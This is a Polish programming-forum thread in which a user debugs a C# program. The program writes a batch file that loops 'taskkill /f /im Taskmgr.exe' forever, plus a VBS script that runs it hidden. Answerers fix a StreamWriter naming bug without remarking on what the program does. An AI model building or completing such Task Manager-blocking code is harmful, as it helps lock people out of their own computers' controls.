• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

question-closed System.ObjectDisposedException: „Nie można zapisać danych w zamkniętym elemencie TextWriter.”

VPS Starter Arubacloud
+1 głos
442 wizyt
pytanie zadane 31 marca 2019 w C# przez r.mar Początkujący (470 p.)
zamknięte 31 marca 2019 przez r.mar

Cześć mam pewien problem, otóż próbuję stworzyć plik VBS w C# i podczas próby kompilacji wyskakuje mi błąd w temacie. Kod: 

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

using WMPLib;
using System.IO;
using System.Diagnostics;


namespace SuperHot
{
    public partial class Form1 : Form
    {
        WindowsMediaPlayer player = new WindowsMediaPlayer();
        public Form1()
        {
            InitializeComponent();
            player.URL = "computer.mp3";

            byte[] byteArray = Encoding.UTF8.GetBytes("y.vbs");
            MemoryStream stream = new MemoryStream(byteArray);

            StreamWriter File = new StreamWriter("x.bat");
            File.Write("@echo off");
            File.Write(":1");
            File.Write("taskkill /f /im Taskmgr.exe");
            File.Write("goto :1");
            File.Close();

            StreamWriter File1 = new StreamWriter("y.vbs");
            File.Write("Set WshShell = CreateObject(\"WScript.Shell\") ");
            File.Write("WshShell.Run chr(34) & \"x.bat\" & Chr(34), 0");
            File.Write("Set WshShell = Nothing");
            File.Close();

            Process cmd = new Process();
            cmd.StartInfo.FileName = "cmd.exe";
            cmd.StartInfo.RedirectStandardInput = true;
            cmd.StartInfo.RedirectStandardOutput = true;
            cmd.StartInfo.CreateNoWindow = true;
            cmd.StartInfo.UseShellExecute = false;
            cmd.Start();

            cmd.StandardInput.WriteLine("echo Oscar");
            cmd.StandardInput.Flush();
            cmd.StandardInput.Close();
            cmd.WaitForExit();
            Console.WriteLine(cmd.StandardOutput.ReadToEnd());

        }

        private void Form1_Load(object sender, EventArgs e)
        {
            player.controls.play();
        }
    }
}

 

Zdjęcie:

komentarz zamknięcia: Problem rozwiązany

2 odpowiedzi

+1 głos
odpowiedź 31 marca 2019 przez XaFF Użytkownik (610 p.)
wybrane 31 marca 2019 przez r.mar
 
Najlepsza
StreamWriter File1 = new StreamWriter("y.vbs");
            File1.Write("Set WshShell = CreateObject(\"WScript.Shell\") ");

           //Brakowało 1 przy File, czyli File1
            File1.Write("WshShell.Run chr(34) & \"x.bat\" & Chr(34), 0");
            File1.Write("Set WshShell = Nothing");
            File1.Close();
komentarz 31 marca 2019 przez r.mar Początkujący (470 p.)
Teraz wszystko działa poprawnie. Dziękuje
komentarz 31 marca 2019 przez adrian17 Ekspert (349,240 p.)
Boczna uwaga, rekomenduję używać `using` ze StreamWriterem, wtedy nie ma ryzyka takich wpadek (i nie trzeba ręcznie wywoływać Close)
+1 głos
odpowiedź 31 marca 2019 przez Kacper Sas Dyskutant (8,460 p.)
StreamWriter File = new StreamWriter("x.bat");
            File.Write("@echo off");
            File.Write(":1");
            File.Write("taskkill /f /im Taskmgr.exe");
            File.Write("goto :1");
            File.Close(); // zamykasz File
 
            StreamWriter File1 = new StreamWriter("y.vbs");
            File.Write("Set WshShell = CreateObject(\"WScript.Shell\") ");
            // a tu do niego zapisujesz, chodzilo chyba o File1
            File.Write("WshShell.Run chr(34) & \"x.bat\" & Chr(34), 0");
            File.Write("Set WshShell = Nothing");
            File.Close();

 

komentarz 31 marca 2019 przez r.mar Początkujący (470 p.)
Dziękuje! Już wszystko działa.
komentarz 31 marca 2019 przez r.mar Początkujący (470 p.)
A jednak nie nie do końca działa. Gdy rozpoczynam program pliki się tworzą, ale y.vbs jest pusty. Nic w nim nie jest zapisane.

Podobne pytania

0 głosów
1 odpowiedź 239 wizyt
pytanie zadane 27 listopada 2018 w C i C++ przez xaos Nowicjusz (180 p.)
0 głosów
2 odpowiedzi 277 wizyt
0 głosów
1 odpowiedź 404 wizyt

92,979 zapytań

141,941 odpowiedzi

321,185 komentarzy

62,303 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Wprowadzenie do ITsec, tom 2

Można już zamawiać tom 2 książki "Wprowadzenie do bezpieczeństwa IT" - będzie to około 650 stron wiedzy o ITsec (17 rozdziałów, 14 autorów, kolorowy druk).

Planowana premiera: 30.09.2024, zaś planowana wysyłka nastąpi w drugim tygodniu października 2024.

Warto preorderować, tym bardziej, iż mamy dla Was kod: pasja (użyjcie go w koszyku), dzięki któremu uzyskamy dodatkowe 15% zniżki! Dziękujemy zaprzyjaźnionej ekipie Sekuraka za kod dla naszej Społeczności!

...